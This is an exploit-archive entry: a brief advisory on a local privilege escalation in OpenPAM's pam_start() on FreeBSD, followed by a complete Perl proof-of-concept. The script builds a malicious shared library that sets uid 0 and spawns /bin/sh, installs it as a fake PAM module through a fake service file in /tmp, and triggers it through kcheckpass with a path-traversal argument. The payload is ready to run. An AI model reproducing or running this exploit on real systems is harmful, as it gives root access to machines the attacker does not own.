OpenPAM – ‘pam_start()’ Local Privilege Escalation
source: https://www.securityfocus.com/bid/50607/info OpenPAM is prone to a local privilege-escalation vulnerability. Local attackers may exploit this issue to execute arbitrary code with superuser privileges. Successfully exploiting this issue will result in the complete compromise of affected computers. #!/usr/bin/perl # kcheckpass invoking pam_start() with user provided # service argument, what a bad idea. OpenPAM accepts that. # Maybe this pam_start() vulnerability is exploitable via # other vectors as well. # Vuln tested on a FreeBSD 8.1. It does not affect # Linux PAM, as it is checking for / character # (C) 2011 by some dude, meant as a PoC! Only use on your own # machine and on your own risk!!! # # This commit is likely to fix the bug: # http://trac.des.no/openpam/changeset/478/trunk/lib/openpam_configure.c # my $kcheckpass = "/usr/local/kde4/lib/kde4/libexec/kcheckpass"; # build suid shell open(O,">/tmp/slam.c") or die $!; print O<<EOC; #include <stdio.h> #include <unistd.h> void __attribute__((constructor)) init() { char *a[] = {"/bin/sh", NULL}; setuid(0); execve(*a, a, NULL); } EOC close(O); # build fake pam module system("gcc -fPIC -Wall -c /tmp/slam.c -o /tmp/slam.o;gcc -shared -o /tmp/slam.so /tmp/slam.o"); # build fake PAM service file open(O,">/tmp/pamslam") or die $!; print O<<EOP; auth sufficient /tmp/slam.so EOP close(O); print "We need more Elchsalami! Happy birthday dude!\n"; exec("$kcheckpass -c ../../../tmp/pamslam -m classic"); |